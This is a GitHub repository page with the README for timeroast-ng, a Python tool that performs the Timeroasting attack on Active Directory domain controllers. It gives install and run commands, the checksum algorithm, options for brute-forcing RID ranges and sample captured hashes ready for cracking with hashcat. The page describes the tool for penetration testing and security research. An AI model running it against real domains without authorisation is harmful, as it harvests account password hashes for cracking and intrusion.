https://github.com/matrixeditor/timeroast-ng
Implementation of the Timeroasting attack to grab hashes from computer accounts using SNTP-MS.
https://github.com/matrixeditor/timeroast-ng
ad sntp-ms timeroasting
Last synced: about 1 month ago
JSON representation
Implementation of the Timeroasting attack to grab hashes from computer accounts using SNTP-MS.
- Host: GitHub
- URL: https://github.com/matrixeditor/timeroast-ng
- Owner: MatrixEditor
- License: mit
- Created: 2025-03-16T21:59:32.000Z (about 1 year ago)
- Default Branch: master
- Last Pushed: 2025-03-16T21:59:46.000Z (about 1 year ago)
- Last Synced: 2026-02-15T11:16:49.108Z (about 1 month ago)
- Topics: ad, sntp-ms, timeroasting
- Language: Python
- Homepage:
- Size: 55.7 KB
- Stars: 5
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# Timeroast-ng
[](https://pypi.org/project/timeroast_ng/)
Timeroasting ([Paper - Timeroasting, Trustroasting and Computer Spraying](https://www.secura.com/uploads/whitepapers/Secura-WP-Timeroasting-v3.pdf) by SecuraBV;
their [Repo - Timeroasting](https://github.com/SecuraBV/Timeroast)) is a simple attack
technnique that leverages the design concept of Microsoft's authentication extension
for the Simple Network Time Protocol ([SNTP-MS](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sntp/)).

This technique involves sending specially crafted NTP packets to the domain controller
of an Active Directory in order to retrieve a checksum that was calculated using the
password of the targeted **computer** account. Since a server will only reply to requests
made from computer accounts, it is possible to retrieve password hashes for all computer
accounts in a domain. The resulting list of hashes can be cracked with hashcat using mode
`31300`.
## Installation
The main tool works out of the box with no dependencies. You can simply clone the repository -
optional dependencies are [impacket](https://github.com/fortra/impacket) (for `resolveRID.py`)
and [rich](https://github.com/Textualize/rich) to add colored output support.
Manual setup
```bash
git clone https://github.com/MatrixEditor/timeroast-ng
cd timeroast-ng
python3 timeroast-ng.py -r1000-2000 -T5
```
Installation via `pip`:
1. via pypi
```bash
pip install timeroast-ng
```
2. or using git
```bash
pip install git+https://github.com/MatrixEditor/timeroast-ng
```
## Background
What the hell is [SNTP-MS](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sntp/)?
First of all, the Network Time Protocol (NTP) allows to place an optional authenticator payload,
storing a key identifier and an arbitrary digest value. The basic message flow can
be broken down to the following:
```
+------------+ NTP Packet (UDP, 123)
| Client NTP +------------------------------+
| Request | (1) |
+------------+ +--------v---------+
| Server processes |
| Client request |
+--------+---------+
|
|
RID linked to Computer: Yes
| (2)
+--------v----------+
+-----------------+ | Server calculates |
| Client verifies | (3) | checksum using |
| NTP-Response <----------------+ computer password |
+-----------------+ NTP-Reply +-------------------+
```
1. The client prepares an NTP packet with the custom _Authenticator_ extension that stores
the relative identifier (RID) of the requestor (computer account).
2. Server receives the request: packets of length `68` (_Authenticator_) and `120`
(_ExtendedAuthenticator_) will be processed. Only if the given RID in the request packet
is linked to a computer account, the server will generate a response. The reply will
contain a checksum that was generated using the password of the target account. Algorithm:
```python
MD5(MD4(password.encode("utf16-le") + response_message[:48]))
```
All other NTP-related fields will be filled out normally as defined by NTP.
3. Normally, the client would verify the response by using its own password. Since we are only
interested in capturing the hash (and salt), the flow ends here.
Q: **So, why is this useful?**
With this approach, any unauthenticated attacker could enumerate the RIDs of all computer accounts
within the domain and can try to crack their passwords. Moreover, since _Trust-Accounts_ are
computer accounts, they will be in the resulting list too.
Q: **There's an option to let the server calculate the checksum using the old password. Why can't we**
**leverage this behaviour to distinguish whether the password has changed recently on the target**
**computer account?**
Simply because we can't control the response message data. As the reply contains timestamps that we
can't predict, there is no gain in using this feature.
---
Generally speaking, _Timeroasting_ can be used to **anonymously** get the RIDs of all computer
accounts and trust accounts together with their password hashes. However, there is a huge downside:
we can't map the RID to a valid username. Currently, there is no option to anonymously map the
gathered identifiers with their correct username. Approaches could be
- Try to resolve the hostname of each Windows computer in the local network (e.g. using [NetExec](https://github.com/Pennyw0rth/NetExec))
```console
$ nxc smb --generate-hosts-file
```
- Generate a list of valid computer names and try password spraying (in case you cracked it).
Another way to resolve the computer name is by querying the domain controller using an authenticated
user. First of all, we need the domain's SID (e.g. with [lookupsid.py](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
by impacket) - which is everything that is needed. The final LDAP query we have to execute looks
like this:
```
(&(objectSid=-))
```
To automate these queries one can use [resolveRID](resolveRID.py) to resolve the RID to an existing
computer account.
## Usage
The main script _timeroast-ng.py_ is designed for two modes of operation, both times supporting only the basic _Authenticator_ extension.
```txt
usage: timeroast-ng.py [options] dc_ip
Implementation of the Timeroasting attack to grab hashes from computer accounts using SNTP-MS.
options:
-h, --help show this help message and exit
-no-color disables colorized output (enabled by default if rich is not installed)
-l, --listener ADDR Local address to listen on
Target Options:
dc_ip Target Domain Controller IP address or host.
-rt RID_FILE Path to a file containing relative identifiers (RIDs) to target (TargetedTimeroast).
Each line will be interpreted as a RID range.
-r, -range RANGES Set the RID brute force range(s). Format is [start][-][end][, ...], whereby one
element must be present. For instance, '1-10' would be valid and '-10' or '10-' too.
You can use '-' to try ALL available RIDs (0 to (1 << 31) - 1). If start is not
specified it will be set to zero and end will be UINT32_MAX - 1.
Collection Options:
-use-oldkey Queries for the old password upon receiving a valid responce from the target server.
-only-oldkey Only queries for the old password of the machine account
-skip-duplicate Collects only new hashes. (Only together with -append and -outfile) This will work
only if the RID has been written to the hashes file.
Timing options:
-non-blocking Executes in non-blocking mode
-wait SECONDS Waits X seconds (float) after sending all requests (non-blocking mode only). Default
delay is 0.5s.
-T <0-5> Set timing template (higher is faster). Default template is T3.
-timeout TIMEOUT Timeout for local socket (blocking-mode) / refesh interval (non-blocking mode) in
seconds (default=0.01)
Output Options:
-outfile OUTFILE Stores the captured hashes into the given file. (use -append to add data to an
existing file)
-append Does not overwrite existing captured hashes
-no-userid Remove RID from output hash (otherwise --username must be used with hashcat)
```
## Non-Blocking Mode
This mode is recommended for users who don't have time to waste and don't need to be stealthy. For instance:
```console
$ python3 timeroast-ng.py -r1000-2000 -T5 -non-blocking
```
will start an attack in non-blocking mode (means _faster_) on RIDs starting from `1000` to `2000`
(exclusive). The result could be something like this:
```
$ timeroast-ng.py 192.168.56.11 -r1000-1200 -T5 -non-blocking
[*] User RID will be added to the output hash - make sure to use --username with hashcat to crack them!
[*] Starting Timeroasting attack against: 192.168.56.11
1001:$sntp-ms$b644b0e1f8723f518c7d131c238b2ab9$1c020ae900000074000a5450c0a8380aeb814a1f1e19b0ab0000000000000000eb814d8c4a21c39feb814d8c4a21f446
1105:$sntp-ms$09737ab1e7c86ceaa9f9042c84d45560$1c020ae900000074000a5450c0a8380aeb814a1f1f2c1be70000000000000000eb814d8c4b3444abeb814d8c4b3453c4
1104:$sntp-ms$3c3ac1f9eabf9bc6e83a1682cb54f8ba$1c020ae900000074000a5450c0a8380aeb814a1f1f2961f90000000000000000eb814d8c4b318259eb814d8c4b3199d5
1123:$sntp-ms$ec534d53bef0508ed3febc99bb66f94a$1c020ae900000074000a5450c0a8380aeb814a1f1f6feea50000000000000000eb814d8c4b781916eb814d8c4b782327
1122:$sntp-ms$93dec08a525fd1df36ef9e204c13e255$1c020ae900000074000a5450c0a8380aeb814a1f1f6c1fe30000000000000000eb814d8c4b744a54eb814d8c4b7457c0
```
Some notes on this mode of operation:
- Receiving messages is done in a separate thread, therefore sending all request may complete before
the server has been able to respond to valid packets. If your output contains less responces than
expected, try to increase the `-wait` value.
- Since this mode will utilize the whole bandwith of the network, the server may not be able to respond
directly to the first message received. Therefore, the waiting time at the end should be increased the
lower the specified range is.
- **this mode is fast**
- **It is recommended to always use `-T5` with this mode as it will give the best results**
## Blocking-IO Mode
This is the default implementation using plain Pyton sockets (yes, a very primitive approach)
that will block until a timeout occurs or a packet was received.
```console
$ python3 timeroast-ng.py -r1000-1200 -T5
```
## Range Specification
Timeroast-ng supports multiple range definitions thaz follow a broader pattern: `[start][-][end][, ...]`.
The following list contains valid examples:
```bash
-r- # MIN to MAX (exclusive)
-r-100 # MIN to 100 (exclusive)
-r100- # 100 to MAX (exclusive)
-r 1001 # only 1001
-r 1000-2000 # 1000 to 2000 (exclusive)
-range 10,20,100-200 # 10, 20 and from 100 to 200 (exclusive)
```
You can also write a file that contains range specifications in each line (use `-rt `).
## License
Distributed under the MIT License. See LICENSE for more information.